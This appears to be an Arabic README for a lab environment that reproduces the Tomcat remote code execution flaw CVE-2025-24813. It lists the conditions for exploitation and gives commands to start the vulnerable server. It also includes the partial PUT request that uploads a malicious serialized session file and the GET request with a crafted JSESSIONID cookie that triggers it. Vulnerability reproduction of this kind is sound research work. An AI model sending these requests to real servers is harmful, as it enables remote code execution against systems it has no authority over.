وصف

هذا المستودع هو البيئة المخصصة لإعادة إنتاج ثغرة RCE الأخيرة في Tomcat CVE-2025-24813.

للاستخدام التعليمي والبحثي فقط!

شروط الاستغلال

يقوم التطبيق بتمكين ميزة الكتابة لـ DefaultServlet، والتي تكون معطلة افتراضيًا.
يدعم التطبيق طلبات PUT الجزئية (partial PUT)، مما يسمح بكتابة بيانات تسلسل ضارة إلى ملفات الجلسة، وهذه الميزة مفعلة افتراضيًا.
يستخدم التطبيق استمرارية جلسة الملفات في Tomcat ويستخدم موقع تخزين الجلسة الافتراضي، وهذا يتطلب تكوينًا إضافيًا.
يحتوي التطبيق على مكتبة تحتوي على ثغرة إلغاء التسلسل، مثل commons-collections الموجودة في مسار الفئات، وهذا الشرط يعتمد على ما إذا كانت تبعيات التطبيق تحتوي على مكتبة ذات سلسلة استغلال لإلغاء التسلسل.

هذه البيئة قد مكّنت الشروط المذكورة أعلاه لإعادة الإنتاج.

Linux:

chmod +x apache-tomcat-9.0.98/bin/*
apache-tomcat-9.0.98/bin/catalina.sh run

Windows:

apache-tomcat-9.0.98/bin/catalina.bat run

إنشاء ملف تسلسل ضار، واستخدام حزمة البيانات التالية لرفعه. يجب ملاحظة أن قيمة النطاق (Range) يجب أن تتطابق مع Length، وتكون أكبر من طول الملف الحالي.

PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{محتويات ملف إلغاء التسلسل}}

استخدام POC التالي للتفعيل:

GET / HTTP/1.1  
Host: 192.168.131.32:8080  
Cookie: JSESSIONID=.xxxxx